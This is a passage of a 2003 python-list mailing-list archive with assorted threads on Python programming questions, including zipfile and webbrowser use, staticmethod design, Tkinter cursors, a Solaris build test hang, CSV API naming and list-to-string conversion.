>
Yes they do. They just don't do what you want them to, that's all <wink>.

> The reason is that zipfile.read('myfile.html') returns a string,
containing
> the contents of the file. However, Webbrowser requires a URL (in this case
> the name of an html file).
>
A good analysis of the problem.

> I don't want to save the string from zipfile.read to disk.
>
Ah, so *this* is the *real* problem. You don't want to do what works, you
want to *define* "works" as not needing to write the zip component contents
to disk where the browser couls get at it.

> Any suggestions will be appreciated.
>
Well, I'm not sure that's true, either. But, leaving that aside (for the
moment), I might ask how you would *like* it to work, given that the
webbrowser utility is driving whatever program you have installed as your
default browser. What would you have it do to let the browser know that it's
supposed to look inside a zip file for the content you want it to display?
It would be nice if browsers would be prepared to read their standard input,
so you could pipe the content into it, but offhand I can't think of one that
does.

There are other possibilities, of course, but they involve a good deal of
programming. For example, you woulc write a program with a graphical user
interface (wxWindows and Tkinter both have HTML widgets, IIRC - others I'm
less familiar with probably do too) that allows you to type in the name of a
zip file with the component name somehow also specified, and have it extract
the correct string from the zipfile and write it directly into the HTML
widget.

So, my suggestion would be that you get involved in the standards-making
process for the world-wide web and promote a "zip://" URL scheme that allows
reference to individual files inside a zip archive. Once you've defined the
"zip://" namespace so everyone can agree how it should work it will only be
a matter of waiting for five years or so, and browsers will be able to
handle it universally.

but-you-might-have-guessed-it's-not-an-entirely-serious-suggestion-ly
'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From peter at engcorp.com  Tue Jan 28 19:43:54 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 19:43:54 -0500
Subject: USB support for Pywin?
References: <b17094$40m$1@news.efn.org>
Message-ID: <3E3723CA.B682151A@engcorp.com>

Spencer Ernest Doidge wrote:
> 
> What, if anything, exists by way of USB support for Python in the
> wonderful (!) world of  Windows? I would like to write scripts that communicate
> with devices via USB, if that is feasible.

USB devices generally(*) either emulate existing devices, such as serial
ports -- in which case Python already supports them as the emulated 
device -- or they have a special DLL just for the purpose, and programs
must be written specifically to talk to them -- in which case "ctypes"
or the older "calldll" modules might be of use, or you could wrap the
DLL with your own extension written in C. (ugh)

(*) I'm no expert in the world of USB...

-Peter



From brian at sweetapp.com  Thu Jan 23 20:36:43 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Thu, 23 Jan 2003 17:36:43 -0800
Subject: Is there really a default source encoding?
In-Reply-To: <yfsr8b3zcv4.fsf@black132.ex.ac.uk>
Message-ID: <006d01c2c349$0d672e50$21795418@dell1700>

> I think you misread ("anglo-neutral" == doesn't bother english
speakers ==
> ascii upwards compatible).

OK.
 
> This luxury of indifference is limited to those who limit themselves
to
> Windows or English.

Or don't care about misbehaving Unix tools. Though I will point out that
Windows has a much better Unicode story than Unix.

Cheers,
Brian





From spam-me at no-thanks.com  Thu Jan 23 08:04:16 2003
From: spam-me at no-thanks.com (Aum)
Date: Fri, 24 Jan 2003 02:04:16 +1300
Subject: staticmethod() problems
References: <QyHX9.42384$F63.906360@news.xtra.co.nz> <3E2F52E5.D3601AD7@alcyone.com>
Message-ID: <YMRX9.43233$F63.924790@news.xtra.co.nz>

Erik Max Francis wrote:

> Aum wrote:
> 
>> I'm trying to find a way for a static method in a class to determine
>> if it
>> was called from the class, or from an instance.
> ...
>> Is there any way to do this without having to define 2 separate
>> methods?
> 
> The very purpose of staticmethod is to create a method that can be
> invoked from an instance or a class and won't know the difference, or
> care.  In some sense, what you're trying to do is at odds with the
> purpose of classmethod in the first place.

Don't you mean 'staticmethod'?

One of the purposes of staticmethod, yes.

But there's a real problem with staticmethod. Within a staticmethod 
function, I can't see any way to access other static attributes of the 
class - methods or attributes - without knowing the class' name.

With this restriction, python's static method implementation falls short of 
that of C++ (I won't say j--- because I don't know j---). At least in C++, 
you can subclass a class with static methods, and within the subclass, the 
inherited methods can access other static attributes within the class, 
without having to explicitly specify the class.

> Maybe if you back up one step and tell us why you need to know this we
> could suggest a better solution.

Firstly, python excels at empowering the programmer, and removing a vast 
number of the restrictions which make other languages a total pain. So why 
*shouldn't* there be a way for a static method to know (if it wants to) if 
it's been invoked via the class or via an instance? And to determine the 
exact class or subclass from which it's been invoked?

Secondly, I'm writing an API, for which the easiest usage is for the user to 
create n subclasses of a given class, and create a *single* instance of 
each subclass. Why? Because much of the API's capabilities are far more 
easily accessed by overriding default class methods.

Since there's only one instance of each class, I thought it would be good to 
allow the user to simply run a static method - the static method could 
detect if it's been called via an instance or statically. If statically, 
then it can self-instantiate before invoking other methods.

For example:

>>>class API_BaseClass:
...     blah blah
...
...     def run_(self, **parms):
...             do what is needed
...
...     def run(**parms):
...             if invoked via instance:
...                     i = instance object
...                     i.run_(**parms)
...             else # invoked statically
...                     c = this class' object
...                     c().run_(**parms)
...     run = staticmethod(run)
...

that outlines the base class provided by the API.
Now, onto the user's code:

>>>class mySubclass:
...     blah blah
...     override some stuff

At this point, the user has to manually instantiate, with:

>>>m = mySubclass()
>>>m.run(arg1=val1, arg2=val2,...)

But what would be wrong with providing the user with a way of simply
running the class, via:

>>>mySubclass(arg1=val1, arg2=val2,...)

Why force the user to go through the tiresome ritual of instantiating each 
of their subclasses once before invoking them?

IMO, it would be more within Python's spirit of freedom to allow such 
choices to the programmer. Especially in this case, where there is a 1:1 
mapping between subclasses and instances.

Regards
A




From eric.brunel at pragmadev.com  Fri Jan 17 04:01:28 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Fri, 17 Jan 2003 10:01:28 +0100
Subject: Tkinter cursor
References: <b06m8m$4hf$1@pegasus.csx.cam.ac.uk>
Message-ID: <b08gd2$cn5$1@news-reader11.wanadoo.fr>

Xiao-Qin Xia wrote:
> Hi, everybody,
> 
> Is it possible to make your own cursor icons when use Tkinter to design 
> interface?

Yes, you can, but what you can do depends on what platform you're on. See:

http://www.tcl.tk/man/tcl8.3/TkLib/GetCursor.htm#M5

Basically:
- The first form (cursor="<cursor name>") works everywhere.
- The second and third ones (cursor="@<path to cursor file> [<path to mask 
file>] <fg color> [<bg color>]") work only on Unix and accept files in XBM 
format, as created by the utility bitmap.
- The third form (cursor="@<cursor file>") works only on Windows and accepts 
.CUR or .ANI files

HTH
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com




From inyeol.lee at siimage.com  Fri Jan  3 18:08:07 2003
From: inyeol.lee at siimage.com (Inyeol Lee)
Date: Fri, 3 Jan 2003 15:08:07 -0800
Subject: 2.3a1 Solaris build trouble - make test failure
Message-ID: <20030103230807.GA6612@siliconimage.com>

When I try 'make test' during building python2.3a1 with gcc2.95.3 in
Solaris8, it stops at 'test_signal' - it stays there until the process
is killed via kill -9.
If running test_signal only, the message is;

$ python test_signal.py
+ sleep 2 
starting pause() loop...
call pause()...
+ kill -5 6825 
+ sleep 2 
handlerA (5, <frame object at 0x173f18>)
pause() returned
call pause()...
+ kill -2 6825 
+ sleep 2 
handlerB (2, <frame object at 0x173f18>)
HandlerBCalled exception caught
call pause()...
+ kill -3 6825 
KeyboardInterrupt (assume the alarm() went off)
$

My build system is;

$ uname -a
SunOS abbey 5.8 Generic_108528-07 sun4u sparc SUNW,Sun-Blade-1000

$ python
Python 2.3a1 (#1, Jan  2 2003, 22:36:29) 
[GCC 2.95.3 20010315 (release)] on sunos5
Type "help", "copyright", "credits" or "license" for more information.
>>> 

Is it reproducible with other Solaris installation? If it is, I'll
submit a bug report.

Inyeol Lee...




From ajs at ix.netcom.com  Mon Jan 20 20:25:22 2003
From: ajs at ix.netcom.com (Arthur)
Date: Mon, 20 Jan 2003 20:25:22 -0500
Subject: license 
References: <005e01c2c0df$b6ef47d0$63a09840@Arts>  <200301210031.h0L0V8jL009221@ratthing-b246.strakt.com>
Message-ID: <006c01c2c0eb$fae5d8d0$63a09840@Arts>

> Do you understand why that person is overwriting the file?  By this I
mean,
> since he too is the hero of his own story of his life, somewhere in his
> thoughts what he is doing makes perfectly good sense and is justifiable
> to him.  Do you know what those thoughts are?

> It is very likely that there is a solution out there that does not
> require lawyers, forking the project, or creative anger.  But I cannot
> help find it is because I don't know why he would do something like that.
> Why did this make sense for him?  Do you know?


He's in academia.  There are grants involved. As in $.

This gotta be big.  This gotta be important.  Must be, because there is this
big distribution of thousands and thousands of lines of code under what he
is doing (9 of which he wrote), and when one goes to the GUI, and hits Help,
Python Documentation - what do you see:

ALL ABOUT HIS PROJECT.

Its showmanship, mostly.

You have to understand his audience is not the traditional Python world.

His distribution includes Numeric - and hardly mentions the fact.

Frankly I think he knows at some level that he contributed very little
tangible to all this, and is overcompensating with a little razz - mazzaz..

His audience being mostly from outsidfe the Python world, well... its quite
impressive .

I suggested to him a "fix" to his distribution- literaly 4 keystrokes
involved - that would accomplish the reasonable purposes for which he might
want to be doing what he is doing, and *not* overwrite an existing Python
file. He refused.

Maybe as a bigshot coder myself, I have a particular attitude here.

A few posts have been indignant about my attitude toward an open source
developer.

He is not the developer.  That is crucial to all this.

I consider him however, the custodian of some damn nice code.  Not the
creator.  And I guess I feel the custodian role is different - and should be
*very* responsive to having that code serve as many people's needs as it
might.  My code, might help the code *to which he is custodian*, serve the
needs of 4 people it might not otherwise.  He, in my movie, should be
anxious to accommodate.

But as all the above indicates - sympathetic insight into other peoples
movies - not being a great strength of mine.


Art





From whisper at oz.net  Fri Jan 31 04:47:16 2003
From: whisper at oz.net (David LeBlanc)
Date: Fri, 31 Jan 2003 01:47:16 -0800
Subject: WinCVS macros
In-Reply-To: <j0gk3v0b3ab75j7el7t8kg7g1rudptiudu@4ax.com>
Message-ID: <GCEDKONBLEFPPADDJCOEOEPAHLAA.whisper@oz.net>

I'm coming in to this late, but this might apply: If you're looking for
language specific features (like syntax coloring, debug tools etc.), WScite
will pick up on the file extension - that's what I use with WinCVS.

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Dale Strickland-Clark
> Sent: Friday, January 31, 2003 1:23
> To: python-list at python.org
> Subject: Re: WinCVS macros
>
>
> J?rgen Cederberg <jorgencederberg at hotmail.com> wrote:
>
> >
> >Not that difficult (unless the interface has changed dramatically since
> >the ver. 1.2 I use). Select the 'Admin' menu, then 'Preferences'. Select
> >the 'WinCvs' tab. Here you can enter the 'Default Viewer used to open
> >files' and even select the 'Use on double click' check box if desired.
> >
> >Hope this helps
> >J?rgen
>
> Unfortunately, that is a blanket option and not specific to .py files.
> --
> Dale Strickland-Clark
> Riverhall Systems Ltd
> --
> http://mail.python.org/mailman/listinfo/python-list





From lac at strakt.com  Fri Jan 24 10:51:22 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 16:51:22 +0100
Subject: Something like asynchronous XML-RPC possible? 
In-Reply-To: Message from =?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?= <martin@v.loewis.de> 
   of "Fri, 24 Jan 2003 16:16:24 +0100." <b0rlc4$hbj$01$1@news.t-online.com> 
References: <cb035744.0301240308.25034fed@posting.google.com> <3E312626.303@v.loewis.de> <cb035744.0301240635.119ee4f2@posting.google.com> <b0rlc4$hbj$01$1@news.t-online.com> 
Message-ID: <200301241551.h0OFpMjL028812@ratthing-b246.strakt.com>

I get the sinking feeling, reading this thread, that the problem is that
Will Stuyvesant's boss has heard the word 'UDP' and the word 'asynchronous'
at the same time, and thinks that he has found a known solution for what
he wants Will Stuyvesant to do.  He has no idea of the horrible complexity
he is asking for.

In this case, it might be well to implement an 'it is easier to get
forgiveness than permission' policy. 'Convincing the boss that this is
a bad idea' is a better plan than 'doing it anyway even though it is
a bad plan because it is too hard to explain this to the boss'.  This is
due to the difficulty of 'doing it anyway' regardless of the difficulty
of 'explaining to the boss'.

Good luck,
Laura Creighton
 






From u3350004 at student.anu.edu.au  Thu Jan 16 05:13:51 2003
From: u3350004 at student.anu.edu.au (Shaun Press)
Date: Thu, 16 Jan 2003 21:13:51 +1100
Subject: VPython and JPEG?
References: <3uScnQrWTr5FgrujXTWcoA@comcast.com>
Message-ID: <3E2685DF.3878B33A@student.anu.edu.au>

Justin Shaw wrote:

> Does anyone know how to wrap an object in VPython with a jpeg image?  Like
> say make a globe by wrapping a sphere with the country boundaries.  If not
> VPython do you know of any other 3D libraries that can do that in python?
>
> Thanks
> Justin

Not at this stage, unless the VPython team have added this recently.
I am working on a VPython project at the moment. It's main focus is porting
VPython to run on the Wedge 3D visualisation system, but a possible extension
is to add  support for image wrapping of shapes like Java 3D does. Not
promising anything and unlikely to be done before mid 2003.






From Mongryong at sympatico.ca  Sat Jan 25 20:32:40 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 25 Jan 2003 20:32:40 -0500
Subject: Iterating all files in a directory
In-Reply-To: <1043544003.4943.28.camel@refugeeMedia>
References: <1043544003.4943.28.camel@refugeeMedia>
Message-ID: <1043544761.4966.30.camel@refugeeMedia>

In particular, I would like to obtain the names of all the files that
end in a certain suffix (ie. .txt).

On Sat, 2003-01-25 at 20:20, Mongryong wrote:
> How can iterate through all the files in a directory?
> 
> ie. obtain a list of all the file's name 
> 
> Thanks.
> 
> 
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From jerf at compy.attbi.com  Mon Jan 13 19:39:12 2003
From: jerf at compy.attbi.com (jerf at compy.attbi.com)
Date: Tue, 14 Jan 2003 00:39:12 GMT
Subject: OT: spam filtering idea
References: <mailman.1042490665.8620.python-list@python.org>
Message-ID: <pan.2003.01.13.19.39.09.730141@compy.attbi.com>

On Mon, 13 Jan 2003 15:42:35 -0500, Tim Peters wrote:
> He's probably right that the way to beat this generation of filters is to
> create spam statistically indistinguishable from ham.  The unknown not
> addressed there is that all forms of advertising are a percentage game, and
> current spam uses (e.g.) ALL CAPS and huge fonts and bright colors because
> those tricks increase response rate.  Spam so bland that it looks like it
> came from your grandmother may not draw a response rate large enough to
> repay the costs of spamming (which, while tiny on a per-msg basis, aren't
> zero).

I couldn't think of a reasonable way to predict the results of that,
because as I think I mentioned in another posting, there are two big
unknowns: The nature of the people responding to the spams (have you every
really thought about it? who the hell is keeping these things afloat? In
all seriousness, my current theory is that we're talking people of reduced
intelligence, but I don't *know*.), and how close the spam industry may be
to economic collapse, such that Bayes-type filters (which *are*
legitimately better then previous approaches) may be enough to tip them
over the edge. Without more data about those two things it's hard to
predict what will happen if spam tones down.

Somwhat back on the Python topic, once SpamBayes is done I intend to see
if I can implement what I talked about. It's just not worth picking up an
implementation in another language when it'd probably be a small handful
of hours' work in Python...




From lac at strakt.com  Fri Jan 24 09:03:19 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 15:03:19 +0100
Subject: Q: Linear constrained quadratic programming code in python? 
In-Reply-To: Message from pschmidt@omnimn.com (Phil Schmidt) 
   of "24 Jan 2003 05:10:09 PST." <69413f9.0301240510.2d08b29@posting.google.com> 
References: <3E306DEF.1000004@mailzone.com> <69413f9.0301240510.2d08b29@posting.google.com> 
Message-ID: <200301241403.h0OE3JjL028062@ratthing-b246.strakt.com>

> Dredging the brain here - Algebraic Riccatti Equation?
> 
> Anyway, try MatPy or SciPy. It might be there.
> 
> Claudius Schn?rr <schnoerr at mailzone.com> wrote in message news:<3E306DEF.10000
> 04 at mailzone.com>...
> > Hello,
> > 
> > I'm looking for optimization code in python for a problem like this:
> > 
> > min( 0.5 x^T Q x + p^T x )
> > 
> > subject to
> > 
> > a_i^T x <= b_i, i \in I   (inequality constraints)
> > a_i^T x = b_i, i \in E    (equality constraints)
> > 
> > c_i <= x <= c_s
> > 
> > where
> > 
> > Q may be a positive definite Matrix,
> > a_i, b_i are vectors,
> > c_i and c_s are bounding vectors,
> > and x is the vector to minimize the problem.
> > 
> > Has anybody code for this in python?
> > 
> > Please send also a copy to
> > 
> >      schnoerr at mailzone.com
> > 
> > Thank you very much in advance,
> > 
> > Claudius
> -- 
> http://mail.python.org/mailman/listinfo/python-list

I think that the logilabs constraint package, written in Python does
this already, but I am not certain.  You can read about it, and download the
code here: http://www.logilab.org/python-logic/

Laura Creighton




From ianb at colorstudy.com  Fri Jan 31 21:03:10 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 31 Jan 2003 20:03:10 -0600
Subject: PEP 305 - CSV File API
In-Reply-To: <b1f3ni$jgt$1@slb9.atl.mindspring.net>
References: <mailman.1044050476.7110.python-list@python.org>
	 <b1f3ni$jgt$1@slb9.atl.mindspring.net>
Message-ID: <1044064990.922.27.camel@lothlorien>

On Fri, 2003-01-31 at 18:17, Andrew Dalke wrote:
>    - I prefer 'append' over 'write'
> 
> Consider a copy.  Under the current scheme
> 
>    def copy(input, output):
>      for row in input:
>        output.write(row)
> 
> This allows the input to be a list or a csv.reader or any other
> iterable objects.  However, output objects must implement the
> 'write' method, which for other cases is something which takes
> a string, not something which takes an object.
> 
> OTOH, consider
> 
>    def copy(input, output):
>      for row in input:
>        output.append(row)

I agree that "write" is not the appropriate method -- I can't ever
remember seeing a write method that didn't take a string and write it to
a stream.  Well, there's some that may as a convenience call str() on
the object passed, but that doesn't significantly change the feel of the
method.  Using it to write a row definitely seems wrong.  

But append makes the output seem like a sequence, when it certainly
isn't -- it's a stream, like a file.  Again, a false cognate.

I would prefer writerow(), which implies it's a stream, but does not
imply it takes a string.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From Dick.Zantow at lexisnexis.com  Fri Jan 17 10:07:36 2003
From: Dick.Zantow at lexisnexis.com (rzed)
Date: Fri, 17 Jan 2003 10:07:36 -0500
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com>
Message-ID: <b0969p$43v$1@mailgate2.lexis-nexis.com>

"Wouter van Marle" <wouterm at spammers-unite-here.com> wrote in message
news:b08ank$dak12 at imsp212.netvigator.com...
> Hi All,
>
> Can anyone recommend me an introduction on object oriented
programming in
> general, and the trick in Python? Preferrably tutorial on the web or
so.
>
> I know the basics of programming (learned BASIC 20 years ago, Turbo
Pascal
> 10 years ago, and recently started Python - never used objects,
never used
> C, and always hobbying. Also a little experience with .BAT and shell
> scripts). So should be a tutorial extending normal programming to
the
> objects.
>
> Without the objects it goes fine, however I have the idea that
objects can
> make things a lot easier - both in design, implementation and
maintenance.
> And now I started off seriously again in an era where object
oriented
> programming is pretty much standard, it is time for me to learn it
too! (so
> I finally understand the mysterious self variable, the __init__
routine, and
> more of those things)
>
> Thanks!
>

I don't really have a recommendation for a specific tutorial on the
Web. There are quite a few, though few (if any) that make use of
Python as the illustrative language. Which is a real shame, because in
my experience, learning Python was the key to learning Object-Oriented
Programming. I can't remember the number of times that I decided it
was time I learned the concept, and then struggled through C++ (and
later, Java) tutorials while the light stayed resolutely off. Python's
syntax is what made the difference: it's clear, it's straightforward,
and it eliminates a whole lot of cruft that obscures the basic
concepts in (many) other languages.

You should know this, though: it's not magic, and it's not *that*
different from what you very likely already did in other languages. I
thought for a long time that I was missing some major concept, but
it's mostly a matter of how you approach the organization of your
programs. Objects have identifiable properties (or attributes or
characteristics or methods or ... ); if they *don't* then they aren't
(and shouldn't be treated as) objects -- or you haven't understood
them properly. Once you do, it's pretty evident what code should go
where, and what it should do. After you've got a few classes tucked
away, it becomes a natural way of thinking about your program's
problem areas.

Using Python lets you see how it all works, quickly and cleanly.
You'll see a lot of OOP in examples and tutorials, though they may
ostensibly be about other things. Work through them, and the pieces
will fall into place on their own, and one day you'll come to realize
that you're doing the OO stuff without worrying about it, and you've
picked up a heck of a lot of other good and useful stuff along the
way.

--
rzed







From max at alcyone.com  Tue Jan 14 21:21:11 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 14 Jan 2003 18:21:11 -0800
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042488171.6529.python-list@python.org> <3s0V9.12202$UB4.56447@news-server.bigpond.net.au> <mailman.1042585407.8375.python-list@python.org>
Message-ID: <3E24C597.4FD00521@alcyone.com>

"Mike C. Fletcher" wrote:

> Okay, thanks all.  I'm thinking I'll have to find a way to blackmail
> the
> board (or at least Tim) into not suing me :) .

At this point I'd say either secure written permission or take a pass on
the idea.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Virtue has never been as respectable as money.
\__/ Mark Twain
    REALpolitik / http://www.realpolitik.com/
 Get your own customized newsfeed online in realtime ... for free!



From samSPAMMENOT at twmi.rr.com  Wed Jan 29 15:39:48 2003
From: samSPAMMENOT at twmi.rr.com (Sam Marrocco)
Date: Wed, 29 Jan 2003 20:39:48 GMT
Subject: portable method for getting system date & time?
Message-ID: <o_WZ9.138171$GF.34908845@twister.columbus.rr.com>

-- 
==================================================================
Sam J. Marrocco
Sr. Visual Effects Artist/R&D
Travelling Pictures/GTN
Inferno, Flame, Houdini, Maya, All that cool stuff!
"The fact that no one understands you doesn't make you an artist."
==================================================================




From schmitt at num.uni-sb.de  Thu Jan 23 10:37:57 2003
From: schmitt at num.uni-sb.de (Uwe Schmitt)
Date: Thu, 23 Jan 2003 16:37:57 +0100
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de>
Message-ID: <01f401c2c2f5$6731d3d0$0e1f6086@blau>


Hi,

I wrote a simple sandbox for executing pyhton code in a
restricted environment.
The code can be downloaded from
http://www.procoders.net/download.php?fname=SandBox.py
I appreciate any comments. I'm especially interested if
my restrictions are secure or if they can be circumvented.


Greetings, Uwe.
--
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes.
(Dijkstra)
http://www.procoders.net






From andrew-pythonlist at puzzling.org  Mon Jan 13 18:07:21 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Tue, 14 Jan 2003 10:07:21 +1100
Subject: fast way of turning a list of integers<256 into a string
In-Reply-To: <f57664b9.0301131444.26ca3b43@posting.google.com>
References: <f57664b9.0301131444.26ca3b43@posting.google.com>
Message-ID: <20030113230721.GD12112@frobozz.local>

On Mon, Jan 13, 2003 at 02:44:51PM -0800, Jonathan P. wrote:
> s=''
> for i in range(1,255):
>   s+=chr(i)
> 
> has horrible performance (primarily due to string
> immutability I think).  Is there a function to do
> the ff. instead:
> 
> x=range(1,255)
> list2str(x)

How about this?

>>> x = range(65,91)
>>> ''.join(map(chr, x))
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

-Andrew.





From maney at pobox.com  Thu Jan 16 13:22:20 2003
From: maney at pobox.com (maney at pobox.com)
Date: Thu, 16 Jan 2003 18:22:20 +0000 (UTC)
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net> <m3fzrtdoth.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b06t8s$auj$1@wheel2.two14.net>

Martin v. L?wis <martin at v.loewis.de> wrote:
> maney at pobox.com writes:
> 
>> Of course this relies upon nested scopes as written.
> 
> This limitation is easy to remove

Sure.  One simple way out would be to pass the item and the index list
as arguments; and having read a lot of recipes that dealt with this
relatively recently, the customary default arg hack also occurred to
me.  I have to admit that yours is something completely different,
though!

> and the list comprehension a the same time (OTOH, it relies on lists
> having a __getitem__):

But I *like* list comprehensions!  <wink>

Okay, to work with older versions.  Is __getitem__ itself relatively
recent?




From tundra at tundraware.com  Sun Jan 26 14:50:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 26 Jan 2003 19:50:07 GMT
Subject: Getting SuperUser Authority From Within Running Python Program
In-Reply-To: <3E340C96.CD2B4E1B@engcorp.com>
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org> <2ot01b.atg.ln@boundary.tundraware.com> <3E340C96.CD2B4E1B@engcorp.com>
Message-ID: <ejd11b.obj.ln@boundary.tundraware.com>

Peter Hansen wrote:
> Tim Daneliuk wrote:
> 
>>I am working on the next release of 'twander' - a user-programmable
>>file manager/browser (http://www.tundrware.com/Software/twander).
>>I want to be able to temporarily go to super-user status so the
>>program can act upon/manage/manipulate root-owned files.
> 
> 
> Umm, that's not really want you want to do.  You think you
> want to do it, but you really don't.
> 
> What you want to do, is require that anyone who wants to manipulate
> root-owner files, should be logged in as root already when they
> run the program.  *That's* what you really wanted to do, but didn't
> realize you wanted to do.  ;-)
> 
> -Peter


OK, OK, you all convinced me (plus the link Alex sent me to were pretty
convincing pretty fast) .. I'll be good and make the user's do the
Right Thing...

Thanx for the help,

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From nobody at nowhere.com  Mon Jan 27 14:21:38 2003
From: nobody at nowhere.com (Grumfish)
Date: Mon, 27 Jan 2003 19:21:38 GMT
Subject: About object reference and threads
References: <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com> <nobody@nowhere.com>  of "Mon, 27 Jan 2003 17:58:01 GMT." <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com> <mailman.1043693265.29463.python-list@python.org>
Message-ID: <0o1b3vo4gg5gms330voa5pchbat06o4euh@4ax.com>

Laura Creighton wrote:
> and a Thread (made like this)
> 
>        self.thread1 = threading.Thread(target=self.workerThread1)

The thread shares the same members as self when using target like
that? I wanted a subclass of Thread with its own run method. Doing it
like the example said would mean the self.queue would refer to the
parent's queue member. Doing it the way I wanted, self.queue would
refer to the thread's queue. Am I correct? Is one way better than the
other?

I tried what Peter said and it seems to work but I can't realy test it
without finishing another part of the program.

Thank you.



From ajw126NO at SPAMyork.ac.uk  Tue Jan  7 11:28:20 2003
From: ajw126NO at SPAMyork.ac.uk (Andrew Wilkinson)
Date: Tue, 7 Jan 2003 16:28:20 -0000
Subject: Creating a list/tuple/dictionary
References: <3e1ae3b4$0$161$65c69314@mercury.nildram.net> <3E1AF7A1.A5471403@engcorp.com>
Message-ID: <3e1b0025$0$157$65c69314@mercury.nildram.net>

Oops, I shouldn't have used the word quicker there, I'm just interested in
how the Python internals work.

Thanks for the reply though,
Andrew

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1AF7A1.A5471403 at engcorp.com...
> Andrew Wilkinson wrote:
> >
> > When the Python interpreter comes across a statement such as...
> > a = [1,2,3]
> > how does it go about creating that list?
> >
> > Does it convert the code into something equivalent to
> [...]
> > or is there a quicker method that it uses, if so is that accessible from
> > ordinary python code?
>
> You really don't need to worry about which method is quicker, unless
> you are encountering serious performance problems already, in which
> case you'd get a *far* bigger performance boost in general by rewriting
> some code as a C extension rather than trying to optimize your Python
code.
>
> Consider that by choosing Python as your programming language you
> have already made readability and maintainability a much higher priority
> than performance.  You've chosen to run your program between ten and 100
> times slower than the equivalent C, in certain cases.  If you then
> start spending time finding alternative approaches to something as clean
> and readable as "a = [1, 2, 3]", you are defeating the advantages you
> get with your choice, making it pointless to use Python... IMHO.
>
> -Peter





From tim.one at comcast.net  Thu Jan 23 19:27:38 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 23 Jan 2003 19:27:38 -0500
Subject: How to do this in Python...
In-Reply-To: <7xy95biesr.fsf@ruckus.brouhaha.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEAODKAB.tim.one@comcast.net>

[Chad Netzer]
> match = re.match(pattern, string)
> if match is not None:
>     # do something with match object
> 
> Since if's can test for more than boolean values, and match is defined 
> to return None when it fails to match anything, not a False value.  

[Paul Rubin]
> Can a match object ever test as false?

Nope, and

    if match:

is idiomatic in this context.  Horrid listcomp abuse is not <wink>.




From max at alcyone.com  Sun Jan 12 00:54:04 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 11 Jan 2003 21:54:04 -0800
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org> <3E1FA635.8051A960@alcyone.com> <8vq5f-8k3.ln1@news.lairds.org>
Message-ID: <3E2102FC.2100E61D@alcyone.com>

Kyler Laird wrote:

> O.k., now *why*, as a naive beginning programmer, would I
> do that when a simple answer appears to be staring at me?

Why as a naive beginning programmer wouldn't you read the whole section
regarding regular expressions when starting to use them?  I really don't
understand the confusion, here.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Life is not a spectacle or a feast; it is a predicament.
\__/ George Santayana
    CSBuddy / http://www.alcyone.com/pyos/csbuddy/
 A Counter-Strike server log file monitor in Python.



From raims at dot.com  Wed Jan 29 05:48:07 2003
From: raims at dot.com (Rhymes)
Date: Wed, 29 Jan 2003 11:48:07 +0100
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com> <b17lfd$106d1h$2@ID-180326.news.dfncis.de>
Message-ID: <pan.2003.01.29.10.48.06.532160@dot.com>

Il Wed, 29 Jan 2003 12:48:31 +0800, Jon Perez ha scritto:

> Not sure if it's still around though.

http://www.borland.com/products/downloads/download_cbuilder.html

-- 
Rhymes
rhymes at NOSPAMmyself.com





From Kyler at news.Lairds.org  Wed Jan  1 10:25:36 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Wed, 01 Jan 2003 15:25:36 GMT
Subject: HELP! Must choose language!
References: <mailman.1041306735.23355.python-list@python.org> <v129kf5800s756@corp.supernews.com> <3e11be3c$0$22180$a1866201@newsreader.visi.com>
